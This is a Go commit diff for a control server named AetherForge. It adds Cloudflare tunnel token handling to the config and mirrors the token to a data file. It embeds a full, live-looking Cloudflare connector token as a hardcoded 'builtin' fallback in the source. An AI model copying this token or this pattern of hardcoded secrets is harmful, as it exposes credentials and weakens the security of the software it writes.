fix: dashboard funnel crash, comrade user, Cloudflare tunnel auto-start

Add runtime comrade account, null-safe spread funnel API/UI, server-started
cloudflared connector with Calibrate token field and builtin fallback, and
simplify LAUNCH to delegate tunnel startup to AetherForge.
This commit is contained in:
AetherForge
2026-06-04 14:14:34 -07:00
parent 5fc601b564
commit 6bfce5d5ab
16 changed files with 390 additions and 106 deletions

View File

@@ -34,6 +34,9 @@ type Config struct {
type TunnelDefaults struct {
// CloudflaredTargetURL is the default outbound tunnel target (usually server public_url).
CloudflaredTargetURL string `json:"cloudflared_target_url"`
// CloudflareTunnelToken is the Zero Trust connector token (cloudflared tunnel run --token).
// Also mirrored to data/cloudflared-token.txt on save for LAUNCH.bat / portable USB.
CloudflareTunnelToken string `json:"cloudflare_tunnel_token,omitempty"`
}
// ServerSettings controls the locally hosted control server (not baked into miners).
@@ -265,10 +268,60 @@ func LoadConfig() *Config {
if strings.TrimSpace(cfg.TunnelDefaults.CloudflaredTargetURL) == "" && strings.TrimSpace(cfg.Server.PublicURL) != "" {
cfg.TunnelDefaults.CloudflaredTargetURL = strings.TrimSpace(cfg.Server.PublicURL)
}
hydrateCloudflareTokenFromFile(cfg)
return cfg
}
const cloudflaredTokenFile = "cloudflared-token.txt"
// Builtin Cloudflare Zero Trust connector token (used when env/config/file are unset).
const builtinCloudflareTunnelToken = "eyJhIjoiODk1NDc5YWIzNTQwZGFhNmQ2MWFlNzAyYTUxNjQ0NzUiLCJ0IjoiYWYzNzY5NGYtNDA4Yy00ZWI3LWE2M2MtMzM5MzQ1MjI3NWIwIiwicyI6IlpEa3lPVE5pWWpjdE9USXlZeTAwTlRjNExUaGlZVGN0WWpGaFlUWmtOR05rTXpjMyJ9"
// ConnectorToken returns the Cloudflare Zero Trust connector token (env, config, file, then builtin default).
func (c *Config) ConnectorToken() string {
if c == nil {
return builtinCloudflareTunnelToken
}
if t := strings.TrimSpace(os.Getenv("AF_TUNNEL_TOKEN")); t != "" {
return t
}
if t := strings.TrimSpace(c.TunnelDefaults.CloudflareTunnelToken); t != "" {
return t
}
if c.DataDir != "" {
if data, err := os.ReadFile(filepath.Join(c.DataDir, cloudflaredTokenFile)); err == nil {
if t := strings.TrimSpace(string(data)); t != "" {
return t
}
}
}
return builtinCloudflareTunnelToken
}
func hydrateCloudflareTokenFromFile(cfg *Config) {
if cfg == nil || strings.TrimSpace(cfg.TunnelDefaults.CloudflareTunnelToken) != "" || cfg.DataDir == "" {
return
}
data, err := os.ReadFile(filepath.Join(cfg.DataDir, cloudflaredTokenFile))
if err != nil {
return
}
cfg.TunnelDefaults.CloudflareTunnelToken = strings.TrimSpace(string(data))
}
func (c *Config) syncCloudflaredTokenFile() {
if c == nil || c.DataDir == "" {
return
}
tok := strings.TrimSpace(c.TunnelDefaults.CloudflareTunnelToken)
if tok == "" {
return
}
path := filepath.Join(c.DataDir, cloudflaredTokenFile)
_ = os.WriteFile(path, []byte(tok+"\n"), 0600)
}
// AlertSettings builds notification settings for the alerts package.
func (c *Config) AlertSettings() alerts.Settings {
if c == nil {
@@ -795,6 +848,9 @@ func mergeConfigExplicit(dst, src *Config, present map[string]json.RawMessage) {
if in(tdKeys, "cloudflared_target_url") {
dst.TunnelDefaults.CloudflaredTargetURL = src.TunnelDefaults.CloudflaredTargetURL
}
if in(tdKeys, "cloudflare_tunnel_token") {
dst.TunnelDefaults.CloudflareTunnelToken = src.TunnelDefaults.CloudflareTunnelToken
}
}
// Keep cloudflared default aligned with public_url when unset.
@@ -809,7 +865,11 @@ func (c *Config) Save() error {
if err != nil {
return fmt.Errorf("failed to marshal config: %w", err)
}
return os.WriteFile(configPath, data, 0644)
if err := os.WriteFile(configPath, data, 0644); err != nil {
return err
}
c.syncCloudflaredTokenFile()
return nil
}
func (c *Config) PoolURL() string {